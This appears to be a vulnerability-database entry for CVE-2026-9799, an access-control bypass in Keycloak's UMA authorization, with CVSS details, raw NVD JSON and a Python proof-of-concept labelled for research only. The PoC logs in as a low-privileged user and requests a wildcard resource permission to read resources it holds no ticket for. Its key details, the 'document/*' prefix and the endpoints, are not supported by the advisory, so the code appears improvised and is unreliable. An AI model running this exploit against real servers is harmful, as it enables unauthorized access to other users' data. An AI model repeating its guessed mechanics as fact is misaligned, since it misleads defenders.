Security Vulnerability Report
中文
CVE-2026-9799 CVSS 4.6 MEDIUM

CVE-2026-9799

Published: 2026-06-25 17:17:04
Last Modified: 2026-06-25 17:17:04

Description

A flaw was found in org.keycloak.authorization. An authenticated user with a granted User-Managed Access (UMA) permission ticket for one resource can exploit this by using a specific permission request prefix to bypass per-resource access control. This allows the user to gain unauthorized access to all resources of that type within the same resource server, even if they do not have a ticket for those specific resources. This vulnerability requires the resource server to be configured in PERMISSIVE policy enforcement mode and affects typed resources with ownerManagedAccess enabled, where no explicit policy protects the resource type. The primary consequence is unauthorized information disclosure or modification of resources.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Red Hat Keycloak 所有受支持版本(具体版本范围待官方确认)
org.keycloak.authorization 模块存在缺陷的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9799 - Keycloak UMA Permission Bypass PoC # This PoC demonstrates how an authenticated user with a UMA permission ticket # for one resource can bypass per-resource access control to access all # resources of the same type within the resource server. import requests import json # Configuration KEYCLOAK_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "resource-server-client" RESOURCE_SERVER_ID = "my-resource-server" # Step 1: Authenticate as a low-privileged user def authenticate(username, password): token_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" payload = { "grant_type": "password", "client_id": CLIENT_ID, "username": username, "password": password } response = requests.post(token_url, data=payload) return response.json().get("access_token") # Step 2: Obtain a UMA permission ticket for a specific resource (legitimate) def get_permission_ticket(access_token, resource_id): ticket_url = f"{KEYCLOAK_URL}/realms/{REALM}/authz/protection/resource_set/{resource_id}/permission" headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } payload = { "grant_type": "urn:ietf:params:oauth:grant-type:uma-ticket", "permission": resource_id } response = requests.post(ticket_url, headers=headers, json=payload) return response.json() # Step 3: Exploit - Use specific permission request prefix to bypass ACL # The key is using a prefix that matches the resource type pattern def exploit_permission_bypass(access_token, ticket, resource_type_prefix): token_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" payload = { "grant_type": "urn:ietf:params:oauth:grant-type:uma-ticket", "ticket": ticket, # Exploit: using a prefix that matches all resources of the same type "permission": f"{resource_type_prefix}/*", "audience": CLIENT_ID } response = requests.post(token_url, data=payload) if response.status_code == 200: return response.json() # Contains RPT with access to ALL matching resources return None # Step 4: Access unauthorized resources with the obtained RPT def access_resource(rpt, resource_id): resource_url = f"{KEYCLOAK_URL}/realms/{REALM}/authz/protection/resource_set/{resource_id}" headers = { "Authorization": f"Bearer {rpt}" } response = requests.get(resource_url, headers=headers) return response.json() # Main exploit flow if __name__ == "__main__": # Authenticate token = authenticate("low_priv_user", "password123") # Get legitimate ticket for resource A ticket = get_permission_ticket(token, "resource-A-id") # Exploit: bypass to get access to ALL resources of type "document" rpt = exploit_permission_bypass(token, ticket, "document") if rpt: # Access unauthorized resource B (no ticket held for this) unauthorized_data = access_resource(rpt["access_token"], "resource-B-id") print(f"[+] Unauthorized access successful: {unauthorized_data}") else: print("[-] Exploit failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9799", "sourceIdentifier": "[email protected]", "published": "2026-06-25T17:17:04.047", "lastModified": "2026-06-25T17:17:04.047", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in org.keycloak.authorization. An authenticated user with a granted User-Managed Access (UMA) permission ticket for one resource can exploit this by using a specific permission request prefix to bypass per-resource access control. This allows the user to gain unauthorized access to all resources of that type within the same resource server, even if they do not have a ticket for those specific resources. This vulnerability requires the resource server to be configured in PERMISSIVE policy enforcement mode and affects typed resources with ownerManagedAccess enabled, where no explicit policy protects the resource type. The primary consequence is unauthorized information disclosure or modification of resources."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Red Hat", "product": "Red Hat Build of Keycloak", "defaultStatus": "affected", "collectionURL": "https://access.redhat.com/downloads/content/package-browser/", "packageName": "rhbk/keycloak-rhel9", "cpes": ["cpe:/a:redhat:build_keycloak:"]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9799", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482471", "source": "[email protected]"}]}}